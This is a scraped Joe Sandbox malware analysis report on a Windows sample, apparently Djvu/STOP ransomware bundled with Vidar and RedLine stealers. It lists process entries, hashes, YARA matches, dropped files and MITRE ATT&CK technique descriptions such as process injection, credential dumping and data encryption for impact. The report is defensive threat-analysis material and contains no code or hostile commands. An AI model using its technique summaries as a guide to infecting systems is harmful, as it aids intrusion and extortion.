Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Analysis Process: U59WtZz2Sg.exePID: 6096, Parent PID: 3324

General

Target ID:	16
Start time:	00:22:33
Start date:	30/11/2022
Path:	C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe" --AutoStart
Imagebase:	0x400000
File size:	680448 bytes
MD5 hash:	41001FDD7879CE9EDE214E92C7E492BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000010.00000002.373204030.00000000020F3000.00000040.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000010.00000002.378615646.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000010.00000002.378615646.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Author: unknown

Analysis Process: U59WtZz2Sg.exePID: 4756, Parent PID: 6096

General

Target ID:	17
Start time:	00:22:35
Start date:	30/11/2022
Path:	C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe" --AutoStart
Imagebase:	0x400000
File size:	680448 bytes
MD5 hash:	41001FDD7879CE9EDE214E92C7E492BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000011.00000000.367371233.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000011.00000000.367371233.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000011.00000000.367371233.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000011.00000000.367371233.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000011.00000002.378588767.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000011.00000002.378588767.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000011.00000002.378588767.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000011.00000002.378588767.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000011.00000000.364650257.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000011.00000000.364650257.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000011.00000000.364650257.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000011.00000000.364650257.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000011.00000000.365343536.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000011.00000000.365343536.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000011.00000000.365343536.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000011.00000000.365343536.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000011.00000000.363751420.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000011.00000000.366169302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000011.00000000.366169302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000011.00000000.366169302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000011.00000000.366169302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000011.00000000.364114264.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000011.00000000.364114264.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000011.00000000.364114264.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000011.00000000.364114264.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown

Analysis Process: conhost.exePID: 4712, Parent PID: 4612

General

Target ID:	18
Start time:	00:22:36
Start date:	30/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7fcd70000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Analysis Process: WMIADAP.exePID: 4296, Parent PID: 2156

General

Target ID:	23
Start time:	00:23:58
Start date:	30/11/2022
Path:	C:\Windows\System32\wbem\WMIADAP.exe
Wow64 process (32bit):	false
Commandline:	wmiadap.exe /F /T /R
Imagebase:	0x7ff715590000
File size:	177664 bytes
MD5 hash:	9783D0765F31980950445DFD40DB15DA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Disassembly

⊘No disassembly

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Services
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to collect elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Application logs, Process monitoring, Windows Error Reporting
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report U59WtZz2Sg.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Clipboard Hijacker

Threatname: Djvu

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\15593502492893213849595709

C:\ProgramData\28325875654976084354326271

C:\ProgramData\28516965580031020035471649

C:\ProgramData\50023325401737157063598945

C:\ProgramData\53195122028892118046415569

C:\ProgramData\69859612379489584907088796

C:\SystemID\PersonalID.txt

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

Windows Analysis Report
U59WtZz2Sg.exe

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	API monitoring, File monitoring, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.
Tactics:	Impact
Data Sources:	File monitoring, Kernel drivers, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre